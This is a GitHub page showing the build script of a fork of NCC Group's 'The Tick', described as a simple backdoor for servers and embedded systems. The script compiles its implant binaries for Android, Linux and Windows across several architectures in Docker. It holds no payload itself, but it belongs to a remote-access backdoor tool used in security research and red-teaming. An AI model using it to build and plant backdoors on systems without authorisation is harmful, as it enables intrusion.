forked from nccgroup/thetick
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathbuild.sh
executable file
·145 lines (128 loc) · 4.33 KB
/
build.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/bin/bash
#
# The Tick, a simple backdoor for servers and embedded systems.
#
# Developed by Mario Vilas, [email protected]
# http://www.github.com/MarioVilas/thetick
#
# Originally released as open source by NCC Group Plc - http://www.nccgroup.com/
# http://www.github.com/nccgroup/thetick
#
# See the LICENSE file for further details.
#
# This script will build for all supported platforms at once.
# It launches a nonprivileged Docker container running as the current user.
# Naturally, Docker must already be installed and configured for this to work.
#
# Usage:
#
# To build all platforms:
# ./build.sh
#
# To build only some platforms:
# ./build.sh windows linux
# Stop on all errors.
set -e
# Uncomment this for debugging.
#set -x
# Here is the list of targets. MUST match the one in the Makefile.
TARGETS="
generic-arm-android
generic-arm64-android
generic-mips-android
generic-mips64-android
generic-x86-android
generic-x86_64-android
generic-arm-linux
generic-arm64-linux
generic-mips-linux
generic-mips64-linux
generic-x86-linux
generic-x86_64-linux
generic-x86-windows
generic-x86_64-windows
"
# Helper variables for color output.
# Disable color automatically if not running on a TTY.
if [ -t 1 ]
then
RED='\033[1;31m'
GREEN='\033[1;32m'
BLUE='\033[1;34m'
NC='\033[0m'
else
RED=''
GREEN=''
BLUE=''
NC=''
fi
# Filter the list of targets if substrings are given.
if [ $# -ne 0 ]
then
LIST=""
for t in $TARGETS
do
for p in "$@"
do
if [[ $t == *"$p"* ]]
then
LIST+=" $t"
break
fi
done
done
TARGETS="$LIST"
fi
# Trim leading and trailing whitespace in the list of targets.
TARGETS="${TARGETS#"${TARGETS%%[![:space:]]*}"}"
TARGETS="${TARGETS%"${TARGETS##*[![:space:]]}"}"
# Stop early if we don't have a valid list of targets.
if [ -z "$TARGETS" ]
then
echo -e "${RED}ERROR: no targets to build${NC}"
exit 1
fi
# Switch to the directory where the script lives.
# This is just in case the script was accidentally called from somewhere else.
cd "$(dirname "$0")"
# Ensure the output directory exists.
mkdir -p bin
# Build the Docker image with all the toolchains.
# This will take quite a while on the first run...
if [[ `docker image ls -q thetick-builder | wc -l` -eq 0 ]] || [[ `date -r Dockerfile +%s` -gt `date --date $(docker history --human=false --format "{{.CreatedAt}}" thetick-builder | head -n 1) +%s` ]]
then
echo -e "${RED}-------------------------------------------------------------------------------${NC}"
echo -e "${RED}Preparing the build image. If this is the first run, it will take a while...${NC}"
echo -e "${RED}-------------------------------------------------------------------------------${NC}"
docker build -t thetick-builder .
fi
# Build each target in the container.
# The src/ and bin/ directories are mapped into the container.
# The container is run as the current user (not root).
echo -e "${GREEN}-------------------------------------------------------------------------------${NC}"
echo -e "${GREEN}Building for targets:${NC}"
for t in $TARGETS
do
echo -e "${GREEN} - $t${NC}"
done
for t in $TARGETS
do
echo -e "${GREEN}-------------------------------------------------------------------------------${NC}"
# Remove -s to see all the files being compiled (noisy!).
# Remove -j to compile sequentially (slow!)
docker run -it -u $(id -u) -v $(pwd):/opt/thetick thetick-builder /bin/sh -c "cd /opt/thetick/src; TARGET=$t make -s -j"
done
# Remove any dangling containers we might have left.
docker rm $(docker ps -aq --filter="ancestor=thetick-builder") >/dev/null
# Copy the console script to the output folder as well.
cp tick.py bin/
# Proudly show the user what we've accomplished today. :D
echo -e "${BLUE}-------------------------------------------------------------------------------${NC}"
ls -lh bin/ticksvc-*
echo -e "${BLUE}-------------------------------------------------------------------------------${NC}"
ls -lh bin/libtick-*
echo -e "${BLUE}-------------------------------------------------------------------------------${NC}"
file bin/ticksvc-*
echo -e "${BLUE}-------------------------------------------------------------------------------${NC}"
file bin/libtick-*
echo -e "${BLUE}-------------------------------------------------------------------------------${NC}"